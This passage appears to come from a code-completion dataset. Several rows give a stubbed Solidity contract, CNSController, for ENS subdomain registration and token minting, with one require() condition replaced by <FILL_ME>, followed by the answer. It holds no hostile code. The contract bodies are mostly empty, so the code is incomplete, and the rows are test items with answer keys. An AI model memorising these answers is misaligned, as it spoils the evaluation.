function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| controller[_controller]==true | 221,765 | controller[_controller]==true |
"Only controller can register domain" | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
require(<FILL_ME>)
require(!isRegister(_node), "Already registered this Domain");
setName(_node, _name);
setOwner(_node, _owner);
setTokenId(_node, _tokenId);
setPolicy(_node, msg.sender);
setCount(_node, 0);
emit RegisterDomain(
getName(_node),
_node,
getOwner(_node),
getPolicy(_node),
getCount(_node)
);
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| controller[msg.sender],"Only controller can register domain" | 221,765 | controller[msg.sender] |
"Already registered this Domain" | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
require(controller[msg.sender], "Only controller can register domain");
require(<FILL_ME>)
setName(_node, _name);
setOwner(_node, _owner);
setTokenId(_node, _tokenId);
setPolicy(_node, msg.sender);
setCount(_node, 0);
emit RegisterDomain(
getName(_node),
_node,
getOwner(_node),
getPolicy(_node),
getCount(_node)
);
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| !isRegister(_node),"Already registered this Domain" | 221,765 | !isRegister(_node) |
"This Domain is not registered" | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
require(<FILL_ME>)
require(
controller[msg.sender],
"Only controller can unregister domain"
);
emit UnregisterDomain(_node, getName(_node));
delete name[_node];
delete domainOwner[_node];
delete tokenId[_node];
delete count[_node];
delete policyAddr[_node];
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| isRegister(_node),"This Domain is not registered" | 221,765 | isRegister(_node) |
"Already registered this subdomain" | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
require(isRegister(_node), "Domain is not registered");
require(<FILL_ME>)
require(
controller[msg.sender],
"Only controller can register subdomain"
);
ens.setSubnodeRecord(
_node,
keccak256(abi.encodePacked(_subDomainLabel)),
address(this),
address(resolver),
0
);
resolver.setAddr(_subnode, _owner);
setCount(_node, getCount(_node) + 1);
setSubDomainLabel(_subnode, _subDomainLabel);
setSubDomainName(
_subnode,
concat(getSubDomainLabel(_subnode), getName(_node))
);
setSubDomainOwner(_subnode, _owner);
token.incrementId();
setSubDomainTokenId(_subnode, token.currentId());
token.mint(_owner, token.currentId());
token.setTokenURI(
token.currentId(),
string(
abi.encodePacked(
token.getMetadataEndpoint(),
Strings.toString(token.currentId())
)
)
);
emit RegisterSubdomain(
getSubDomainName(_subnode),
getSubDomainLabel(_subnode),
_node,
_subnode,
getSubDomainOwner(_subnode),
getPolicy(_node),
token.currentId()
);
emit MintCNSToken(_subnode, _owner, token.currentId());
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| !isRegisterSubdomain(_subnode),"Already registered this subdomain" | 221,765 | !isRegisterSubdomain(_subnode) |
"Subdomain is not registered" | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
require(<FILL_ME>)
require(
controller[msg.sender],
"Only controller can unregister subdomain"
);
emit UnregisterSubdomain(_subnode, getSubDomainName(_subnode));
ens.setSubnodeRecord(
_node,
keccak256(abi.encodePacked(_subDomainLabel)),
address(0),
address(0),
0
);
setCount(_node, getCount(_node) - 1);
token.burn(getSubDomainTokenId(_subnode));
emit BurnCNSToken(
_subnode,
getSubDomainOwner(_subnode),
getSubDomainTokenId(_subnode)
);
delete subDomainName[_subnode];
delete subDomainLabel[_subnode];
delete subDomainOwner[_subnode];
delete subDomainTokenId[_subnode];
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| isRegisterSubdomain(_subnode),"Subdomain is not registered" | 221,765 | isRegisterSubdomain(_subnode) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.